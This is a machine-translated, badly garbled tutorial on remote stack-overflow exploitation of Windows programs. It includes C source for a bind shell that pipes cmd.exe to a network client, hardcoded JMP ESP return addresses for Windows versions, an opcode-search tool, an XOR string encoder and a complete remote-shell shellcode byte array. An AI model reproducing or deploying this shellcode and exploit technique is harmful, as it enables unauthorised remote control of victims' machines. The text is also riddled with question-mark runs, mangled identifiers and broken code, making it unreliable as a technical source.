Remote Stack overflow under the Window system - "Principles"
?
Author: ipxodi (ipxodi@263.net)
?
---- Preface
?
Let's study the remote overflow method under the WINDOWS system.
Our goal is to study how to use the Windows program overflow for remote attacks.
If you are not very familiar with the buffer under Windows, please review my article in front:
"Stack overflow under the Window system" (NSfocusmagzine 20003).
This article and subsequent "actual combat articles" are based on this article.
?
Let us start from the beginning. Windows 2000 Advanced Server (Build 5.00.2195)
?
???? First?? "" Principle "
?
---- Remote Spill Algorithm
?
How to open a remote shell?
The idea is this: first make the enemy's program overflow, let him perform our shellcode.
Our SHELLCODE function is to open a Telnetd server with a port on the enemy machine.
Then wait for the customer to connect. When the customer is connected, create a cmd.exe for this customer.
Connect the customer's input and output and cmd.exe input and output, we
The remote user has a remote shell (like telnet).
?
The above algorithm I want everyone to get it, this Socket part is relatively simple. Basic under UNIX
almost. Just adding a WSASTARTUP; creating a cmd.exe for the customer, is using createprocess
To create this sub-process; how do you link the customer's input output and the output of cmd.exe?
I use an anonymous pipe to complete this contact process.
?
Pipe (PIPE) is a simple process communication (IPC) mechanism. Under Windows NT, 2000, 98, 95
can use. There are two types and anonymous pipes, and the named pipe can be different from different processes and different.
machine
Two-way communication between different processes (using UNC naming specifications).
?
The anonymous pipeline is only communicating between the two sub-processes between the parent-child process or one process. He is one-way.
Anonymous pipe is actually achieved by a famous pipe for a specified name.
?
The greatest advantage of the pipe is that he can operate like a normal file.
His operator is Handle, that is, he can use ReadFile,
Writefile functions to perform read and write operations with the underlying implementation! Users don't have to know the network / process between networks
The specific details of communication.
?
Here is the C implementation of this algorithm:
?
/ ************************************************** **********************************
* /
/ * Telnetd.cpp by ipxodi tester in Win2000
To illustrate the method of telnetd.
Only One Connection Can Be Accept,
Feel Free To Add Select ... To Fit for Multiple Client
* /
#include
#include
?
int main ()
{
WSADATA WSA;
Socket Listenfd;
Char buff [1024];
int R;
?
WSASTARTUP (Makeword (2, 2), & WSA);
?
Listenfd = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);?
Struct SockAddr_in Server;
?
Server.sin_family = af_INet;
Server.sin_port = HTONS (53764);
Server.sin_addr.s_addr = addr_any;
Ret = Bind (Listenfd, (SockAddr *) & Server, SIZEOF (Server));
RET = Listen (Listenfd, 2);
INT Iaddrsize = Sizeof (Server);
Socket Clientfd = Accept (Listenfd, (SockAddr *) & Server, & Iaddrsize;
/ *
This code is used to build a TCP Server, let's apply for a socketfd first.
Use 53764 (casual, how many rows) as this Socket connection port, bind him,
Then wait on this port to wait for the Listen. The program blocks in the Accept function until there is
CLIENT is connected.
* /
Security_attributes sa;
Sa.nlength = 12; sa.lpsecurityDescriptor = 0; sa.binherithandle = true;
Handle Hreadpipe1, hwritepipe1, hreadpipe2, hwritepidipe2;
?
RET = CreatePipe (& HreadPipe1, & HwritePipe1, & Sa, 0);
RET = CreatePipe (& Hreadpipe2, & HWritePipe2, & Sa, 0);
/ *
Create two anonymous pipes. Hreadpipe can only be used to read the pipeline, and hwritepipe1 can only be used to write pipes.
* /
Startupinfo Si;
ZeromeMory (& Si, SIZEOF (Si));
Si.dwflags = startf_useshowwindow | Startf_usestdhandles;
Si.WShowWindow = sw_hide;
Si.hstdinput = HREADPIPE2;
Si.hstdoutput = si.hstderror = hwritepipe1;
CHAR CMDLINE [] = "cmd.exe";
PROCESS_INFORMATION processinformation;
?
?
Ret = CreateProcess (Null, Cmdline, Null, Null, 1,0, Null, Null, & Si, & ProcessInformati
ON);
/ *
This code creates a shell (cmd.exe) and uses the standard input of cmd.exe with the second pipeline.
The reading handle is replaced. CMD.exe's standard output and standard error output replace the write handle of the first pipe.
The logical schematic diagram of these two pipes is as follows:
(Parent process) ??? read <--- [pipeline one] <--- Write? Standard output (cmd.exe processes)
(Parent process) ?? Write ---> 管 二] ---> read ?? standard input (cmd.exe sub-process)
* /
?
UNSIGNED Long LbytesRead;
While (1) {
?? Ret = peeknamedpipe (Hreadpipe1, buff, 1024, & lbytesread, 0, 0); ?? IF (lbytesread) {
??? Ret = readfile (Hreadpipe1, buff, lbytesread, & lbytesread, 0);
??? if (! rs) Break;
??? RET = Send (Clientfd, Buff, LbytesRead, 0);
??? IF (RET <= 0) Break;
??} else {
??? lbytesread = Recv (ClientFD, BUFF, 1024, 0);
??? IF (LbytesRead <= 0) Break;
??? Ret = Writefile (hwritepipe2, buff, lbytesread, & lbytesread, 0);
??? if (! rs) Break;
??}
}
/ *
This code completes the interaction of customer input and shell. PeeknamedPipe is used asynchronous query pipeline,
See if the shell has output. If you read the readfile and send it to the customer. if there is not,
Go to the customer's input. The WriteFile is written to the pipe to the shell.
The cooperation of these two pipes and clients and Server is as follows:
Enter a command <- send (parent process) ??? Read <- [pipe 1] <- WRITE? Standard output
(cmd.exe child process)
Get Results (CLIENT) RECV -> (Parent Process) Write -> [Pipeline 2] -> READ ?? Standard Input
(cmd.exe child process)
?
* /
Return 0;
}
/ ************************************************** **********************************
* /
?
---- Shellcode Troubleshooting
?
Let's write shellcode. Specialty in the Windows system buffer overflow, shellcode has some new problems.
I use the following way to solve:
1) Question of the jump command address
Because when the function returns, the ESP points to the address behind the return address. (Why? Because ESP is returned
The address to be directed is that the parent function is pressed, and the top of the stack before it is ready to execute the Call sub function. )
So, our startcode's starting position is where the function returns, the ESP points to the location. therefore,
Use JMP ESP to jump to our shellcode.
?
Of course, this is a hypothesis that the program is the recovery of the caller to be responsible for the stack.
The assembly code is this:
Push eax; ???
Push ebx;???
Push ECX;???
Call Subrutine
Add ESP, 000c
?
However, if it is a subroutine to restore the stack,
Subrutine:
....
: 010091F3 C9 ????????????? leave
: 010091F4 C20C00 ?????????????????? RET 000c
ESP does not point to our shellcode start position. It will point to the position of Shellcode 0C.
?
In fact, this value (here 0c) is available when you try to find an overflow point of the enemy program.
Very precise discovery, because you can see his compilation original code!
?
In order to solve this situation, shellcode cannot be executed correctly, we can add 0C NOP in front of Shellcode.
?
In this way, what we need is to use the address of a JMP ESP instruction in memory to overwrite the return address of the enemy program.
In memory, of course, there are many DLLs, there will be JMP ESP instructions, I chose the instruction inside the kernel32.dll, because
This kernel32.dll is the system core DLL, loaded in front, the following DLL installation address should be with the front DLL
Change change, in order to consider the versatility, KERNEL32.DLL is used.
?
Then these addresses are fixed:
Win98 second edition (4.00.2222a), return address is: 0xBff795A3
Under WinNT4 (4.00.1381), the return address is: 0x77f0eac3
Win2000 (5.00.2195), return the address: 0x77e2e32a
?
The above address, we can use it when testing, however, in order to distinguish between truly deal with the enemy
Which address is selected, you need to first touch the enemy's operating system and the DLL version number.
JMP ESP addresses If you are not right, the enemy's program will appear "Invalid Page Error" dialog, and will be done,
Therefore, before the attack, you must judge the type of enemy through some spider marts.
?
The following is the code used in the test:
#ifdef Win2000
#define jumpesp "/ x2a / xe3 / xe2 / x77"
#ENDIF
#ifdef Winnt4
#define jumpesp "/ xc3 / xea / xf0 / x77"
#ENDIF
#ifdef WIN98 / / 2222A
#define jumpesp "/ xa3 / x95 / xf7 / xbf"
#ENDIF
#ifdef evploit
#define jumpesp "JMP ESP address on the enemy target program."
#ENDIF
?
If you have Softice, you can search FFE4 directly in memory. if there is not,
The green Corps's backend writes a small program to search the FFE4 (JMP ESP) string in user32.dll.
I changed him and searched for FFE4 in the specified DLL. The algorithm is as follows:
/ ************************************************** *********************************** /
/*ffe4.cpp by backend
* /
BOOL WE_LOADED_IT = FALSE;
Hinstance h;
TCHAR DLLNAME [] = _t ("user32");
?
IF (argc> 1) ??? {
???? Strcpy (Dllname, Argv [1]);
}
?
H = getModuleHandle (DLLNAME);
IF (h == NULL)
{
H = loadingLibrary (DLLNAME);
IF (h == NULL)
{
Cout << "Error Loading DLL:" <
<
Return 1;
}
WE_LOADED_IT = TRUE;
}
?
BYTE * PTR = (byte *) h;
Bool Done = false;
For (int y = 0; "DONE; Y ) {
Try
{
IF (PTR [Y] == 0xFF && PTR [Y 1] == 0xE4)
{
INT POS = (int) PTR Y;
COUT << "opcode found at 0x" <
<
<
}
}
Catch (...)
{
COUT << "end of" <
<< "Memory Reached" <
DONE = true;
}
}
IF (WE_LOADED_IT) FREELIBRARY (H);
?
/ ************************************************** *********************************** /
2) Question of the function used by Shellcode
A lot of Win32 functions are used in Shellcode, such as ReadFile, CreateProcess, and more.
These functions must be loaded into the process space of the enemy program.
We will not guarantee that there is already loaded.
All functions.
?
We hope to make a platform-independent shellcode, this must be:
Functions related to the OS version are not directly used.
This is because the function entry address is different from the version of the OS / SP / upgrade.
?
The only way is to use LoadLibrary load DLL for each Win32 function used.
Use the getProcAddress function to get the function address. This requires a function name in our shellcode.
Save the function name of each of the functions used, and call the above two functions before shellcode execution
Get the address of these functions one by one.
?
But there is a problem, how is the address of loadLibrary and getProcadDress itself?
We think about it, the role of these two functions? "Get the address of all other functions."
Yes, they are too important, every Win32 program uses them! So what about our target?
There will be they will have them. So, when writing Exploit, the address of these two functions is determined.
?
How do I find the loading address of these two functions in the target program? They will not be based on enemy operating systems
Different changes? Not. These dynamic loaded functions have an entry table in the target program.
Deloaded by the target program yourself, but his entry table address is fixed.
?
You can use WDASM32 to search LoadLibrary and getProcaddress,
It can be seen that they correspond to the entry table address AAAA. Inside shellcode,
They can be referenced directly with Call [AAAAa].
?
3) String issues used in Shellcode
Just solved the second question, I introduced the third issue. Previously mentioned the use of function names for use to dynamically get
Function address. But these function names must be ended with / 0x0! The most basic one of our shellcode,
It is absolutely not to contain / 0x0 inside, or there is no return bank / n.
?
The solution is the first to encode the string table (so scary) to process all illegal characters.
Shellcode is decoded by a subroutine before use.
?
The method I use is to handle the string for xor 0x99. This is a program.
?
Here is the codec program:
?? 0xb1, 0xc6, ??????????????????????????????????????????????? ?? * / ?? 0x8b, 0xc7, ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ???? * /
?? / * xorshellcode * / ?????????????????????????????????????????????? ???? * /
?? 0x48, ?????????????????????????????????????? ??????? * /
?? 0x80, 0x30, 0x99, ????????????? / * xor byte PTR [EAX], 99 ????????? * /
?? 0xe2, 0xfa, ????????????????????????????????????????? * /
?
Oh, it is not scared at all, is it simple, is it?
The list of resources we will use is all the functions used in front, plus "cmd.exe". Specifically:
?
/ ************************************************** *********************************** /
???? DB "kernel32", 0; string to push for loadinglibrary.
???? DB "creagepipe", 0
???? DB "getstartupinfoa", 0?
???? DB "CreateProcessa", 0
???? DB "peeknamedpipe", 0
???? DB "globalalloc", 0
???? DB "Writefile", 0
???? DB "readfile", 0
???? DB "Sleep", 0
???? DB "EXITPROCESS", 0
???? DB "WSOCK32", 0
???? DB "socket", 0 ????
???? DB "bind", 0 ??????
???? DB "listen", 0 ????
????? DB "accept", 0 ????
???? DB "send", 0 ??????
???? DB "Recv", 0 ??????
??????????????????????
SOCKSTRUC STRUCT ?????
???? SIN_FAMILY DW ????? 0002h
???? sin_port ?? dw ??????
???? sin_addr ?? DD ??????
???? sin_zero ?? db ????? 8 dup (0)
SOCKSTRUC ENDS ???????
??????????????????????
???? DB "cmd.exe", 0
???? DD 0FFFFFFFH ????
???? db 00d, 00ah
??????
/ ************************************************** *********************************** /
?
4) Writing of Shellcode
Compile the previous C program to extract Shellcode, then add the previous codec and function loading modules.
?
?
Applying the previous design idea, we can write shellcode as follows:
?
UNSIGNED Char Sploit [580] = {
?? 0x90, 0x8b, 0xfc, ???????? / * MOV EDI, ESP ????????????????? 0x33, 0xc0, ????????? / * xor eax, eax ??????????????????? * /
?? 0x50, ??????????????????????????????????????? ?????? * /
?? 0xf7, 0xd0, ??????????????????????????????????????????????????????????? ??? * /
?? 0x50, ??????????????????????????????????????? ?????? * /
?? 0x59, ??????????????????????????????????????????????????? ??????? * /
?? 0xf2, ????????????????????????????????????????????????????? ???????? * /
?? 0xAf, ????????????????????????????????????????????????????????????????????????? ???????? * /
?? 0x59, ??????????????????????????????????????????????????? ??????? * /
?? 0xb1, 0xc6, ??????????????????????????????????????????????? ?? * /
?? 0x8b, 0xc7, ??????????????????????????????????????????????????????????? * /
?? / * xorshellcode * / ?????????????????????????????????????????????? ???? * /
?? 0x48, ?????????????????????????????????????? ??????? * /
?? 0x80, 0x30, 0x99, ????????????? / * xor byte PTR [EAX], 99 ????????? * /
?? 0xe2, 0xfa, ????????????????????????????????????????? * /
?? 0x33, 0xf6, ????????? / * xor ESI, ESI ??????????????????? * /
?? 0x96, ??????????????????????????? * xchg Eax, ESI ??????????????? ???? * /
?? 0xbb, 0x99, 0xe8, 0x61, 0x42, ?? / * mov ebx, & loadLibrary ?????????? * /
?? 0xc1, 0xeb, 0x08, ?????????????? * shr EBX, 08 ???????????????????? * /
?? 0x56, ??????????????????????????????????????? ?????? * /
?? 0xff, 0x13, ??????????????????????????????????????????? * /
?? 0x8b, 0xd0, ??????? / * MOV EDX, EAX ??????????????????? * /
?? 0xfc, ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????? * /
?? 0x33, 0xc9, ???????????????????????????????????????????????? * /
?? 0xb1, 0x0b, ???????????????????????????????????????????????????????????????????????????? ?? * / ?? 0x49, ???????????????????????????????????? ??????????? * /
?? / * loadkernelprocess * / ??????? / * ???????????????????????? * /
?? 0x32, 0xc0, ???????????????????????????????????? ?? * /
?? 0xac, ?????????????????????????????????????? ???????? * /
?? 0x84, 0xc0, ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ? * /
?? 0x75, 0xf9, ??????????????????????????????????????? * /
?? 0x52, ????????????? * push edx ????????????????????????????????????????????????? * /
?? 0x51, ???????????????????????????????????????? ?????? * /
?? 0x56, ??????????????????????????????????????? ?????? * /
?? 0x52, ???????????????????????????????????????? ?????? * /
?? 0xb3, 0xe4, ????????????????????? * MOV BL, E4 ??? & getProcaddr ????? * /
?? 0xff, 0x13, ??????????????????????????????????????????? * /
?? 0xAb, ??????????????????????????????????????????????????????????????? ???????? * /
?? 0x59, ??????????????????????????????????????????????????? ??????? * /
?? 0x5a, ??????????????????????????????????????????????????????????????? ??????? * /
?? 0xe2, 0xec, ?????????????????????????????????????? * /
????????????????????????????????????????? ?????????????????? * /
?? 0x32, 0xc0, ???????????????????????????????????? ?? * /
?? 0xac, ?????????????????????????????????????? ???????? * /
?? 0x84, 0xc0, ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ? * /
?? 0x75, 0xf9, ?????????????????????????????????????? * /
?? 0xb3, 0xe8, ??????????????????????????????????????????????? ?? * /
?? 0x56, ??????????????????????????????????????? ?????? * /
?? 0xff, 0x13, ????????????????????????????????????????????????????? * / ?? 0x8b, 0xD0, ???????????????????? * MOV EDX, EAX ??????????????????? * /
?? 0xfc, ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????? * /
?? 0x33, 0xc9, ???????????????????????????????????????????????? * /
?? 0xb1, 0x06, ??????????????????????????????????????????????? ?? * /
/ * LOADSOCKETPROCESS * / ????????????????????????????????????????
?? 0x32, 0xc0, ???????????????????????????????????? ?? * /
?? 0xac, ?????????????????????????????????????? ???????? * /
?? 0x84, 0xc0, ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ? * /
?? 0x75, 0xf9, ???????????????????????????????????????? * /?
?? 0x52, ???????????????????????????????????????? ?????? * /
?? 0x51, ???????????????????????????????????????? ?????? * /
?? 0x56, ??????????????????????????????????????? ?????? * /
?? 0x52, ???????????????????????????????????????? ?????? * /
?? 0xB3, 0xE4, ????????????????????????????????????????????????????????? ?? * /
?? 0xff, 0x13, ??????????????????????????????????????????? * /
?? 0xAb, ??????????????????????????????????????????????????????????????? ???????? * /
?? 0x59, ??????????????????????????????????????????????????? ??????? * /
?? 0x5a, ??????????????????????????????????????????????????????????????? ??????? * /
?? 0xE2, 0xec, ???????????????????????????????????????? * /?
/ *
???? This code is the preparation of the previous period, which is responsible for obtaining the entrance address of all functions, these functions are:
???? "kernel32.dll"
???????????? "" createpipe "
???????????? "GetStartupinfoa"
???????????? "" CreateProcessa "
???????????? "peeknamedpipe"
???????????? "GlobalAlloc"
???????????? "Writefile"
???????????? "readfile"
???????????? "Sleep"
???????????? "exitprocess"
??????????????
???? "WSOCK32.DLL"
???????????? "socket" ????
???????????? "bind" ????
???????????? "listen" ????
???????????? "accept" ????
???????????? "Send" ??????
???????????? "RECV" ??????
* /
?? 0x83, 0xc6, 0x05, ????????????? / *? Add esi, 00000005? * /
?? 0x33, 0xc0, ??????????????????????????????????????????? * /
?? 0x50, ?????????????????????????? * push eax ??????????? * /
?? 0x40, ????????????????????????????????????????? * /
?? 0x50, ?????????????????????????? * push eax ??????????? * /
?? 0x40, ????????????????????????????????????????? * /
?? 0x50, ?????????????????????????? * push eax ??????????? * /
?? 0xff, 0x57, 0xe8, ????????????? / * call [EDI-18] ?????? * /
?? 0x93, ?????????????????????????? * xchg EAX, EBX ??????? * /
?? 0x6a, 0x10, ??????????????????????? 00000010 ?????? * /????
?? 0x56, ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? * / ???? ?
?? 0x53, ?????????????????????????????????? * /????? ?
?? 0xff, 0x57, 0xec, ????????????? / * call [EDI-14] ?????? * / ????
?? 0x6a, 0x02, ?????????????????????? 00000002 ???? * /
?? 0x53, ??????????????????????????????????????????? * /
?? 0xff, 0x57, 0xf0, ????????????? / * call [EDI-10] ?????? * /
?? 0x33, 0xc0, ??????????????????????????????????????????? * /
?? 0x57, ?????????????????????????? * push edi ??????????? * /
?? 0x50, ?????????????????????????? * push eax ??????????? * /
?? 0xb0, 0x0c, ????????????????????? * mov Al, 0C ????????? * /
?? 0xAb, ?????????????????????????????????? * /
?? 0x58, ?????????????????????????? * pop EAX ???????????? * /
?? 0xAb, ?????????????????????????????????? * /
?? 0x40, ????????????????????????????????????????? * /
?? 0xAb, ??????????????????????????????? * /
?? 0x5f, ???????????????????????????????????????? * /
?? 0x48, ?????????????????????????? * decs ???????????? * /
?? 0x50, ??????????????????????????? * push eax ???????? * /
?? 0x57, ?????????????????????????? * push edi ??????????? * /
?? 0x56, ?????????????????????????????????????????? * /
?? 0xAD, ??????????????????????????????????? * /
?? 0x56, ?????????????????????????????????????????? * /
?? 0xff, 0x57, 0xc0, ?????????????? * call [EDI-40] ?????? * /
?? 0x48, ?????????????????????????? * decs ???????????? * /
?? 0x50, ?????????????????????????? * push eax ??????????? * /
?? 0x57, ?????????????????????????? * push edi ??????????? * /
?? 0xAD, ??????????????????????????????????? * /
?? 0x56, ?????????????????????????????????????????? * /
?? 0xAD, ??????????????????????????????????? * /
?? 0x56, ?????????????????????????????????????????? * /
?? 0xff, 0x57, 0xc0, ?????????????? * call [EDI-40] ??? * /
?? 0x48, ?????????????????????????????????????? ??? * /
?? 0xb0, 0x44, ??????????????????????????????????????????? * /
?? 0x89, 0x07, ???????????????????????????????????????????????????????? * /
?? 0x57, ??????????????????????????????????????? ?? * /
?? 0xff, 0x57, 0xc4, ?????????????? * call [EDI-3C] ?????? * /
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0x8b, 0x46, 0xf4, ????????????? / * MOV EAX, DWORD PTR [ESI-0C] * /
?? 0x89, 0x47, 0x3c, ????????????? / * MOV DWORD PTR [EDI 3C], EAX * /
?? 0x89, 0x47, 0x40, ????????????? / * MOV DWORD PTR [EDI 40], EAX * /
?? 0x8b, 0x06, ?????????????????????????????????????????????? * /
?? 0x89, 0x47, 0x38, ????????????? / * MOV DWORD PTR [EDI 38], EAX * /
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0x66, 0xb8, 0x01, 0x01, ??????? / * MOV AX, 0101 ??????????????? * /
?? 0x89, 0x47, 0x2c, ????????????? / * MOV DWORD PTR [EDI 2C], EAX * /
?? 0x57, ??????????????????????????????????????? ?? * /
?? 0x57, ??????????????????????????????????????? ?? * /
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x40, ?????????????????????????????????????? ??? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x48, ?????????????????????????????????????? ??? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0xAD, ?????????????????????????????????????? ???? * /
?? 0x56, ??????????????????????????????????????? ?? * /
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0xff, 0x57, 0xc8, ????????????? / * call [eDI-38] ?????????????? * /
?? 0xff, 0x76, 0xf0, ?????????????? * push [ESI-10] ?????????????? * /
?? 0xff, 0x57, 0xcc, ?????????????? * call [EDI-34] ?????????????? * /
?? 0xff, 0x76, 0xfc, ????????????? / * push [eSI-04] ?????????????? * /
?? 0xff, 0x57, 0xcc, ????????????? / * call [EDI-34] ??? * /
?? 0x48, ?????????????????????????? * dec EAX ????????? * /
?? 0x50, ??????????????????????????????????????? ?? * / ?? 0x50, ????????????????????????????????????????????? ?????? * /
?? 0x53, ???????????????????????????????????????? ?? * /
?? 0xff, 0x57, 0xf4, ??????????????????????????????? * /
?? 0x8b, 0xd8, ????????????????????????????????????????????? * /
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0xb4, 0x04, ???????????????????????????????????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0xc1, 0xe8, 0x04, ????????????? / * shr EAX, 04 ???????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0xff, 0x57, 0xd4, ????????????? / * call [EDI-2C] ?????????????? * /
?? 0x8b, 0xf0, ????????????????????? * mov ESI, EAX ??????????????? * /
/ * Peekpipe: * / ???????????????????????????? ????
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0x8b, 0xc8, ????????????????????? * mov ECX, EAX ??????????????? * /
?? 0xb5, 0x04, ???????????????????????????????????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x57, ??????????????????????????????????????? ?? * /
?? 0x51, ???????????????????????????????????????? ?? * /
?? 0x56, ????????????????????????????????????? * /
?? 0xff, 0x77, 0xa8, ????????????? / * push [EDI-58] ?????????????? * /
?? 0xff, 0x57, 0xD0, ????????????? / * call [EDI-30] ?????????????? * /
?? 0x83, 0x3f, 0x01, ????????????? / * cmp dword PTR [EDI], 0000000 * /
?? 0x7c, 0x22, ???????????????????????????????????????? * /
?? 0x33, 0xc0, ?????????????????????????????????????????? * /?? 0x50, ??????????????????????????? * push eax ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? * /
?? 0x57, ??????????????????????????????????????? ?? * /
?? 0xff, 0x37, ??????????????????????????????????????? * /
?? 0x56, ??????????????????????????????????????? ?? * /
?? 0xff, 0x77, 0xa8, ????????????? / * push [EDI-58] ?????????????? * /
?? 0xff, 0x57, 0xdc, ????????????? / * call [EDI-24] ?????????????? * /
?? 0x0b, 0xc0, ?????????????????????????????????????????? * /
?? 0x74, 0x2f, ????????????????????????????????? * /
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0xff, 0x37, ??????????????????????????????????????? * /
?? 0x56, ??????????????????????????????????????? ?? * /
?? 0x53, ???????????????????????????????????????? ?? * /
?? 0xff, 0x57, 0xf8, ????????????? / * call [EDI-08] ?????????????? * /
?? 0x6a, 0x50, ??????????????????????? 00000050 ?????????????? * /
?? 0xff, 0x57, 0xe0, ??????????????????????????????? * /
?? 0xeb, 0xc8, ?????????????????????????????????? * /
/ * GetUserInput: * / ??????????????????????????????????????????????????????????????????????????????????????????????
?? 0x33, 0xc0, ?????????????????????????????????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0xb4, 0x04, ???????????????????????????????????????????? * /
?? 0x56, ??????????????????????????????????????? ?? * /
?? 0x53, ???????????????????????????????????????? ?? * /
?? 0xff, 0x57, 0xfc, ????????????? / * call [EDI-04] ?????????????? * /
?? 0x57, ??????????????????????????????????????? ?? * /? 0x33, 0xc9, ???????????????????? * xor ECX, ECX ???????????????? * /
?? 0x51, ???????????????????????????????????????? ?? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0x56, ??????????????????????????????????????? ?? * /
?? 0xff, 0x77, 0xac, ????????????? / * push [EDI-54] ?????????????? * /
?? 0xff, 0x57, 0xD8, ????????????? / * call [EDI-28] ?????????????? * /
?? 0x6a, 0x50, ??????????????????????? 00000050 ?????????????? * /
?? 0xff, 0x57, 0xe0, ??????????????????????????????? * /
/ * GameOver: ?? * / ??????????????????????????????????? ????
?? 0xeb, 0xaa, ????????????????????????????????? * /
?? 0x50, ??????????????????????????????????????? ?? * /
?? 0xff, 0x57, 0xe4, ?????????????? * call [EDI-1C] ?????????????? * /
?? 0x90, ???????????????????????????????????????????????????????????????? ?????? * /
/ *
???? The long code here is the algorithm of the C language, my comment is very detailed, there is not much to say
* /
?? 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xAb, 0x99,
?? 0xDa, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
?? 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xD0, 0xF7, 0xFF,
?? 0xf6, 0xD8, 0x99, 0xDa, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
?? 0xfa, 0xfc, 0xea, 0xea, 0xD8, 0x99, 0xDa, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
?? 0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
?? 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
?? 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
?? 0xfc, 0xDF, 0xF0, 0xF5, 0xFC, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
?? 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
?? 0xed, 0xc9, 0xeb, 0xea, 0xfa, 0x99, 0xce, 0xca, 0x99, 0xDa, 0xD2, 0xaa, 0xAb, 0x99, 0xae, 0xAb, 0xfa, 0xAe, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
?? 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
?? 0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
?? 0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
?? 0x4b, 0x9d, // Word value for bind port, 4b9d xor 9999h = 53764
?? 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
?? 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xFF, 0xFF, 0xFF,
?? 0x0d, 0x0a};
/ *
???? These is the string table, has been encoded.
* /
